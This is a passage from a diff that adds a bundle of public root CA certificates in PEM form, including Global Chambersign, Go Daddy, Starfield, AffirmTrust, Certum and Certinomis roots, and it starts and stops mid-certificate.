+bWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDiC
+CQCj2kJ+pLGu2jAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUH
+AgEWHGh0dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAJASryI1
+wqM58C7e6bXpeHxIvj99RZJe6dqxGfwWPJ+0W2aeaufDuV2I6A+tzyMP3iU6XsxPpcG1Lawk0lgH
+3qLPaYRgM+gQDROpI9CF5Y57pp49chNyM/WqfcZjHwj0/gF/JM8rLFQJ3uIrbZLGOU8W6jx+ekbU
+RWpGqOt1glanq6B8aBMz9p0w8G8nOSQjKpD9kCk18pPfNKXG9/jvjA9iSnyu0/VU+I22mlaHFoI6
+M6taIgj3grrqLuBHmrS1RaMFO9ncLkVAO+rcf+g769HsJtg1pDDFOqxXnrN2pSB7+R5KBWIBpih1
+YJeSDW4+TTdDDZIVnBgizVGZoCkaPF+KMjNbMMeJL0eYD6MDxvbxrN8y8NmBGuScvfaAFPDRLLmF
+9dijscilIeUcE5fuDr3fKanvNFNb0+RqE4QGtjICxFKuItLcsiFCGtpA8CnJ7AoMXOLQusxI0zcK
+zBIKinmwPQN/aUv0NCB9szTqjktk9T79syNnFQ0EuPAtwQlRPLJsFfClI9eDdOTlLsn+mCdCxqvG
+nrDQWzilm1DefhiYtUU79nm06PcaewaD+9CL2rvHvRirCG88gGtAPxkZumWK5r7VXNM21+9AUiRg
+OGcEMeyP84LG3rlV8zsxkVrctQgVrXYlCg17LofiDKYGvCYQbTed7N14jHyAxfDZd0jQ
+-----END CERTIFICATE-----
+
+Global Chambersign Root - 2008
+==============================
+-----BEGIN CERTIFICATE-----
+MIIHSTCCBTGgAwIBAgIJAMnN0+nVfSPOMA0GCSqGSIb3DQEBBQUAMIGsMQswCQYDVQQGEwJFVTFD
+MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv
+bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu
+QS4xJzAlBgNVBAMTHkdsb2JhbCBDaGFtYmVyc2lnbiBSb290IC0gMjAwODAeFw0wODA4MDExMjMx
+NDBaFw0zODA3MzExMjMxNDBaMIGsMQswCQYDVQQGEwJFVTFDMEEGA1UEBxM6TWFkcmlkIChzZWUg
+Y3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNvbS9hZGRyZXNzKTESMBAGA1UEBRMJ
+QTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMuQS4xJzAlBgNVBAMTHkdsb2JhbCBD
+aGFtYmVyc2lnbiBSb290IC0gMjAwODCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMDf
+VtPkOpt2RbQT2//BthmLN0EYlVJH6xedKYiONWwGMi5HYvNJBL99RDaxccy9Wglz1dmFRP+RVyXf
+XjaOcNFccUMd2drvXNL7G706tcuto8xEpw2uIRU/uXpbknXYpBI4iRmKt4DS4jJvVpyR1ogQC7N0
+ZJJ0YPP2zxhPYLIj0Mc7zmFLmY/CDNBAspjcDahOo7kKrmCgrUVSY7pmvWjg+b4aqIG7HkF4ddPB
+/gBVsIdU6CeQNR1MM62X/JcumIS/LMmjv9GYERTtY/jKmIhYF5ntRQOXfjyGHoiMvvKRhI9lNNgA
+TH23MRdaKXoKGCQwoze1eqkBfSbW+Q6OWfH9GzO1KTsXO0G2Id3UwD2ln58fQ1DJu7xsepeY7s2M
+H/ucUa6LcL0nn3HAa6x9kGbo1106DbDVwo3VyJ2dwW3Q0L9R5OP4wzg2rtandeavhENdk5IMagfe
+Ox2YItaswTXbo6Al/3K1dh3ebeksZixShNBFks4c5eUzHdwHU1SjqoI7mjcv3N2gZOnm3b2u/GSF
+HTynyQbehP9r6GsaPMWis0L7iwk+XwhSx2LE1AVxv8Rk5Pihg+g+EpuoHtQ2TS9x9o0o9oOpE9Jh
+wZG7SMA0j0GMS0zbaRL/UJScIINZc+18ofLx/d33SdNDWKBWY8o9PeU1VlnpDsogzCtLkykPAgMB
+AAGjggFqMIIBZjASBgNVHRMBAf8ECDAGAQH/AgEMMB0GA1UdDgQWBBS5CcqcHtvTbDprru1U8VuT
+BjUuXjCB4QYDVR0jBIHZMIHWgBS5CcqcHtvTbDprru1U8VuTBjUuXqGBsqSBrzCBrDELMAkGA1UE
+BhMCRVUxQzBBBgNVBAcTOk1hZHJpZCAoc2VlIGN1cnJlbnQgYWRkcmVzcyBhdCB3d3cuY2FtZXJm
+aXJtYS5jb20vYWRkcmVzcykxEjAQBgNVBAUTCUE4Mjc0MzI4NzEbMBkGA1UEChMSQUMgQ2FtZXJm
+aXJtYSBTLkEuMScwJQYDVQQDEx5HbG9iYWwgQ2hhbWJlcnNpZ24gUm9vdCAtIDIwMDiCCQDJzdPp
+1X0jzjAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0
+dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAICIf3DekijZBZRG
+/5BXqfEv3xoNa/p8DhxJJHkn2EaqbylZUohwEurdPfWbU1Rv4WCiqAm57OtZfMY18dwY6fFn5a+6
+ReAJ3spED8IXDneRRXozX1+WLGiLwUePmJs9wOzL9dWCkoQ10b42OFZyMVtHLaoXpGNR6woBrX/s
+dZ7LoR/xfxKxueRkf2fWIyr0uDldmOghp+G9PUIadJpwr2hsUF1Jz//7Dl3mLEfXgTpZALVza2Mg
+9jFFCDkO9HB+QHBaP9BrQql0PSgvAm11cpUJjUhjxsYjV5KTXjXBjfkK9yydYhz2rXzdpjEetrHH
+foUm+qRqtdpjMNHvkzeyZi99Bffnt0uYlDXA2TopwZ2yUDMdSqlapskD7+3056huirRXhOukP9Du
+qqqHW2Pok+JrqNS4cnhrG+055F3Lm6qH1U9OAP7Zap88MQ8oAgF9mOinsKJknnn4SPIVqczmyETr
+P3iZ8ntxPjzxmKfFGBI/5rsoM0LpRQp8bfKGeS/Fghl9CYl8slR2iK7ewfPM4W7bMdaTrpmg7yVq
+c5iJWzouE4gev8CSlDQb4ye3ix5vQv/n6TebUB0tovkC7stYWDpxvGjjqsGvHCgfotwjZT+B6q6Z
+09gwzxMNTxXJhLynSC34MCN32EZLeW32jO06f2ARePTpm67VVMB0gNELQp/B
+-----END CERTIFICATE-----
+
+Go Daddy Root Certificate Authority - G2
+========================================
+-----BEGIN CERTIFICATE-----
+MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
+B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMu
+MTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5
+MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6
+b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8G
+A1UEAxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI
+hvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKDE6bFIEMBO4Tx5oVJnyfq
+9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD
++qK+ihVqf94Lw7YZFAXK6sOoBJQ7RnwyDfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutd
+fMh8+7ArU6SSYmlRJQVhGkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMl
+NAJWJwGRtDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEAAaNC
+MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFDqahQcQZyi27/a9
+BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmXWWcDYfF+OwYxdS2hII5PZYe096ac
+vNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r
+5N9ss4UXnT3ZJE95kTXWXwTrgIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYV
+N8Gb5DKj7Tjo2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO
+LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI4uJEvlz36hz1
+-----END CERTIFICATE-----
+
+Starfield Root Certificate Authority - G2
+=========================================
+-----BEGIN CERTIFICATE-----
+MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
+B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s
+b2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVsZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0
+eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAw
+DgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQg
+VGVjaG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZpY2F0ZSBB
+dXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3twQP89o/8ArFv
+W59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMgnLRJdzIpVv257IzdIvpy3Cdhl+72WoTs
+bhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNk
+N3mSwOxGXn/hbVNMYq/NHwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7Nf
+ZTD4p7dNdloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0HZbU
+JtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
+AQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0GCSqGSIb3DQEBCwUAA4IBAQARWfol
+TwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjUsHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx
+4mcujJUDJi5DnUox9g61DLu34jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUw
+F5okxBDgBPfg8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K
+pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1mMpYjn0q7pBZ
+c2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0
+-----END CERTIFICATE-----
+
+Starfield Services Root Certificate Authority - G2
+==================================================
+-----BEGIN CERTIFICATE-----
+MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
+B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s
+b2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVsZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRl
+IEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNV
+BAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxT
+dGFyZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2VydmljZXMg
+Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
+AQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20pOsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2
+h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm28xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4Pa
+hHQUw2eeBGg6345AWh1KTs9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLP
+LJGmpufehRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk6mFB
+rMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAwDwYDVR0TAQH/BAUw
+AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+qAdcwKziIorhtSpzyEZGDMA0GCSqG
+SIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMIbw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPP
+E95Dz+I0swSdHynVv/heyNXBve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTy
+xQGjhdByPq1zqwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd
+iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn0q23KXB56jza
+YyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCNsSi6
+-----END CERTIFICATE-----
+
+AffirmTrust Commercial
+======================
+-----BEGIN CERTIFICATE-----
+MIIDTDCCAjSgAwIBAgIId3cGJyapsXwwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UEBhMCVVMxFDAS
+BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMB4XDTEw
+MDEyOTE0MDYwNloXDTMwMTIzMTE0MDYwNlowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly
+bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMIIBIjANBgkqhkiG9w0BAQEF
+AAOCAQ8AMIIBCgKCAQEA9htPZwcroRX1BiLLHwGy43NFBkRJLLtJJRTWzsO3qyxPxkEylFf6Eqdb
+DuKPHx6GGaeqtS25Xw2Kwq+FNXkyLbscYjfysVtKPcrNcV/pQr6U6Mje+SJIZMblq8Yrba0F8PrV
+C8+a5fBQpIs7R6UjW3p6+DM/uO+Zl+MgwdYoic+U+7lF7eNAFxHUdPALMeIrJmqbTFeurCA+ukV6
+BfO9m2kVrn1OIGPENXY6BwLJN/3HR+7o8XYdcxXyl6S1yHp52UKqK39c/s4mT6NmgTWvRLpUHhww
+MmWd5jyTXlBOeuM61G7MGvv50jeuJCqrVwMiKA1JdX+3KNp1v47j3A55MQIDAQABo0IwQDAdBgNV
+HQ4EFgQUnZPGU4teyq8/nx4P5ZmVvCT2lI8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
+AQYwDQYJKoZIhvcNAQELBQADggEBAFis9AQOzcAN/wr91LoWXym9e2iZWEnStB03TX8nfUYGXUPG
+hi4+c7ImfU+TqbbEKpqrIZcUsd6M06uJFdhrJNTxFq7YpFzUf1GO7RgBsZNjvbz4YYCanrHOQnDi
+qX0GJX0nof5v7LMeJNrjS1UaADs1tDvZ110w/YETifLCBivtZ8SOyUOyXGsViQK8YvxO8rUzqrJv
+0wqiUOP2O+guRMLbZjipM1ZI8W0bM40NjD9gN53Tym1+NH4Nn3J2ixufcv1SNUFFApYvHLKac0kh
+sUlHRUe072o0EclNmsxZt9YCnlpOZbWUrhvfKbAW8b8Angc6F2S1BLUjIZkKlTuXfO8=
+-----END CERTIFICATE-----
+
+AffirmTrust Networking
+======================
+-----BEGIN CERTIFICATE-----
+MIIDTDCCAjSgAwIBAgIIfE8EORzUmS0wDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UEBhMCVVMxFDAS
+BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMB4XDTEw
+MDEyOTE0MDgyNFoXDTMwMTIzMTE0MDgyNFowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly
+bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMIIBIjANBgkqhkiG9w0BAQEF
+AAOCAQ8AMIIBCgKCAQEAtITMMxcua5Rsa2FSoOujz3mUTOWUgJnLVWREZY9nZOIG41w3SfYvm4SE
+Hi3yYJ0wTsyEheIszx6e/jarM3c1RNg1lho9Nuh6DtjVR6FqaYvZ/Ls6rnla1fTWcbuakCNrmreI
+dIcMHl+5ni36q1Mr3Lt2PpNMCAiMHqIjHNRqrSK6mQEubWXLviRmVSRLQESxG9fhwoXA3hA/Pe24
+/PHxI1Pcv2WXb9n5QHGNfb2V1M6+oF4nI979ptAmDgAp6zxG8D1gvz9Q0twmQVGeFDdCBKNwV6gb
+h+0t+nvujArjqWaJGctB+d1ENmHP4ndGyH329JKBNv3bNPFyfvMMFr20FQIDAQABo0IwQDAdBgNV
+HQ4EFgQUBx/S55zawm6iQLSwelAQUHTEyL0wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
+AQYwDQYJKoZIhvcNAQEFBQADggEBAIlXshZ6qML91tmbmzTCnLQyFE2npN/svqe++EPbkTfOtDIu
+UFUaNU52Q3Eg75N3ThVwLofDwR1t3Mu1J9QsVtFSUzpE0nPIxBsFZVpikpzuQY0x2+c06lkh1QF6
+12S4ZDnNye2v7UsDSKegmQGA3GWjNq5lWUhPgkvIZfFXHeVZLgo/bNjR9eUJtGxUAArgFU2HdW23
+WJZa3W3SAKD0m0i+wzekujbgfIeFlxoVot4uolu9rxj5kFDNcFn4J2dHy8egBzp90SxdbBk6ZrV9
+/ZFvgrG+CJPbFEfxojfHRZ48x3evZKiT3/Zpg4Jg8klCNO1aAFSFHBY2kgxc+qatv9s=
+-----END CERTIFICATE-----
+
+AffirmTrust Premium
+===================
+-----BEGIN CERTIFICATE-----
+MIIFRjCCAy6gAwIBAgIIbYwURrGmCu4wDQYJKoZIhvcNAQEMBQAwQTELMAkGA1UEBhMCVVMxFDAS
+BgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMB4XDTEwMDEy
+OTE0MTAzNloXDTQwMTIzMTE0MTAzNlowQTELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRy
+dXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
+MIICCgKCAgEAxBLfqV/+Qd3d9Z+K4/as4Tx4mrzY8H96oDMq3I0gW64tb+eT2TZwamjPjlGjhVtn
+BKAQJG9dKILBl1fYSCkTtuG+kU3fhQxTGJoeJKJPj/CihQvL9Cl/0qRY7iZNyaqoe5rZ+jjeRFcV
+5fiMyNlI4g0WJx0eyIOFJbe6qlVBzAMiSy2RjYvmia9mx+n/K+k8rNrSs8PhaJyJ+HoAVt70VZVs
++7pk3WKL3wt3MutizCaam7uqYoNMtAZ6MMgpv+0GTZe5HMQxK9VfvFMSF5yZVylmd2EhMQcuJUmd
+GPLu8ytxjLW6OQdJd/zvLpKQBY0tL3d770O/Nbua2Plzpyzy0FfuKE4mX4+QaAkvuPjcBukumj5R
+p9EixAqnOEhss/n/fauGV+O61oV4d7pD6kh/9ti+I20ev9E2bFhc8e6kGVQa9QPSdubhjL08s9NI
+S+LI+H+SqHZGnEJlPqQewQcDWkYtuJfzt9WyVSHvutxMAJf7FJUnM7/oQ0dG0giZFmA7mn7S5u04
+6uwBHjxIVkkJx0w3AJ6IDsBz4W9m6XJHMD4Q5QsDyZpCAGzFlH5hxIrff4IaC1nEWTJ3s7xgaVY5
+/bQGeyzWZDbZvUjthB9+pSKPKrhC9IK31FOQeE4tGv2Bb0TXOwF0lkLgAOIua+rF7nKsu7/+6qqo
++Nz2snmKtmcCAwEAAaNCMEAwHQYDVR0OBBYEFJ3AZ6YMItkm9UWrpmVSESfYRaxjMA8GA1UdEwEB
+/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBDAUAA4ICAQCzV00QYk465KzquByv
+MiPIs0laUZx2KI15qldGF9X1Uva3ROgIRL8YhNILgM3FEv0AVQVhh0HctSSePMTYyPtwni94loMg
+Nt58D2kTiKV1NpgIpsbfrM7jWNa3Pt668+s0QNiigfV4Py/VpfzZotReBA4Xrf5B8OWycvpEgjNC
+6C1Y91aMYj+6QrCcDFx+LmUmXFNPALJ4fqENmS2NuB2OosSw/WDQMKSOyARiqcTtNd56l+0OOF6S
+L5Nwpamcb6d9Ex1+xghIsV5n61EIJenmJWtSKZGc0jlzCFfemQa0W50QBuHCAKi4HEoCChTQwUHK
++4w1IX2COPKpVJEZNZOUbWo6xbLQu4mGk+ibyQ86p3q4ofB4Rvr8Ny/lioTz3/4E2aFooC8k4gmV
+BtWVyuEklut89pMFu+1z6S3RdTnX5yTb2E5fQ4+e0BQ5v1VwSJlXMbSc7kqYA5YwH2AG7hsj/oFg
+IxpHYoWlzBk0gG+zrBrjn/B7SK3VAdlntqlyk+otZrWyuOQ9PLLvTIzq6we/qzWaVYa8GKa1qF60
+g2xraUDTn9zxw2lrueFtCfTxqlB2Cnp9ehehVZZCmTEJ3WARjQUwfuaORtGdFNrHF+QFlozEJLUb
+zxQHskD4o55BhrwE0GuWyCqANP2/7waj3VjFhT0+j/6eKeC2uAloGRwYQw==
+-----END CERTIFICATE-----
+
+AffirmTrust Premium ECC
+=======================
+-----BEGIN CERTIFICATE-----
+MIIB/jCCAYWgAwIBAgIIdJclisc/elQwCgYIKoZIzj0EAwMwRTELMAkGA1UEBhMCVVMxFDASBgNV
+BAoMC0FmZmlybVRydXN0MSAwHgYDVQQDDBdBZmZpcm1UcnVzdCBQcmVtaXVtIEVDQzAeFw0xMDAx
+MjkxNDIwMjRaFw00MDEyMzExNDIwMjRaMEUxCzAJBgNVBAYTAlVTMRQwEgYDVQQKDAtBZmZpcm1U
+cnVzdDEgMB4GA1UEAwwXQWZmaXJtVHJ1c3QgUHJlbWl1bSBFQ0MwdjAQBgcqhkjOPQIBBgUrgQQA
+IgNiAAQNMF4bFZ0D0KF5Nbc6PJJ6yhUczWLznCZcBz3lVPqj1swS6vQUX+iOGasvLkjmrBhDeKzQ
+N8O9ss0s5kfiGuZjuD0uL3jET9v0D6RoTFVya5UdThhClXjMNzyR4ptlKymjQjBAMB0GA1UdDgQW
+BBSaryl6wBE1NSZRMADDav5A1a7WPDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAK
+BggqhkjOPQQDAwNnADBkAjAXCfOHiFBar8jAQr9HX/VsaobgxCd05DhT1wV/GzTjxi+zygk8N53X
+57hG8f2h4nECMEJZh0PUUd+60wkyWs6Iflc9nF9Ca/UHLbXwgpP5WW+uZPpY5Yse42O+tYHNbwKM
+eQ==
+-----END CERTIFICATE-----
+
+Certum Trusted Network CA
+=========================
+-----BEGIN CERTIFICATE-----
+MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBMMSIwIAYDVQQK
+ExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlv
+biBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBUcnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIy
+MTIwNzM3WhcNMjkxMjMxMTIwNzM3WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBU
+ZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5
+MSIwIAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0BAQEFAAOC
+AQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rHUV+rpDKmYYe2bg+G0jAC
+l/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LMTXPb865Px1bVWqeWifrzq2jUI4ZZJ88J
+J7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVUBBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4
+fOQtf/WsX+sWn7Et0brMkUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0
+cvW0QM8xAcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNVHRMB
+Af8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNVHQ8BAf8EBAMCAQYw
+DQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15ysHhE49wcrwn9I0j6vSrEuVUEtRCj
+jSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfLI9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1
+mS1FhIrlQgnXdAIv94nYmem8J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5aj
+Zt3hrvJBW8qYVoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI
+03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw=
+-----END CERTIFICATE-----
+
+Certinomis - Autorité Racine
+=============================
+-----BEGIN CERTIFICATE-----
+MIIFnDCCA4SgAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJGUjETMBEGA1UEChMK
+Q2VydGlub21pczEXMBUGA1UECxMOMDAwMiA0MzM5OTg5MDMxJjAkBgNVBAMMHUNlcnRpbm9taXMg
+LSBBdXRvcml0w6kgUmFjaW5lMB4XDTA4MDkxNzA4Mjg1OVoXDTI4MDkxNzA4Mjg1OVowYzELMAkG
+A1UEBhMCRlIxEzARBgNVBAoTCkNlcnRpbm9taXMxFzAVBgNVBAsTDjAwMDIgNDMzOTk4OTAzMSYw
+JAYDVQQDDB1DZXJ0aW5vbWlzIC0gQXV0b3JpdMOpIFJhY2luZTCCAiIwDQYJKoZIhvcNAQEBBQAD
+ggIPADCCAgoCggIBAJ2Fn4bT46/HsmtuM+Cet0I0VZ35gb5j2CN2DpdUzZlMGvE5x4jYF1AMnmHa
+wE5V3udauHpOd4cN5bjr+p5eex7Ezyh0x5P1FMYiKAT5kcOrJ3NqDi5N8y4oH3DfVS9O7cdxbwly
+Lu3VMpfQ8Vh30WC8Tl7bmoT2R2FFK/ZQpn9qcSdIhDWerP5pqZ56XjUl+rSnSTV3lqc2W+HN3yNw
+2F1MpQiD8aYkOBOo7C+ooWfHpi2GR+6K/OybDnT0K0kCe5B1jPyZOQE51kqJ5Z52qz6WKDgmi92N
+jMD2AR5vpTESOH2VwnHu7XSu5DaiQ3XV8QCb4uTXzEIDS3h65X27uK4uIJPT5GHfceF2Z5c/tt9q
+c1pkIuVC28+BA5PY9OMQ4HL2AHCs8MF6DwV/zzRpRbWT5BnbUhYjBYkOjUjkJW+zeL9i9Qf6lSTC
+lrLooyPCXQP8w9PlfMl1I9f09bze5N/NgL+RiH2nE7Q5uiy6vdFrzPOlKO1Enn1So2+WLhl+HPNb
+xxaOu2B9d2ZHVIIAEWBsMsGoOBvrbpgT1u449fCfDu/+MYHB0iSVL1N6aaLwD4ZFjliCK0wi1F6g
+530mJ0jfJUaNSih8hp75mxpZuWW/Bd22Ql095gBIgl4g9xGC3srYn+Y3RyYe63j3YcNBZFgCQfna
+4NH4+ej9Uji29YnfAgMBAAGjWzBZMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
+A1UdDgQWBBQNjLZh2kS40RR9w759XkjwzspqsDAXBgNVHSAEEDAOMAwGCiqBegFWAgIAAQEwDQYJ
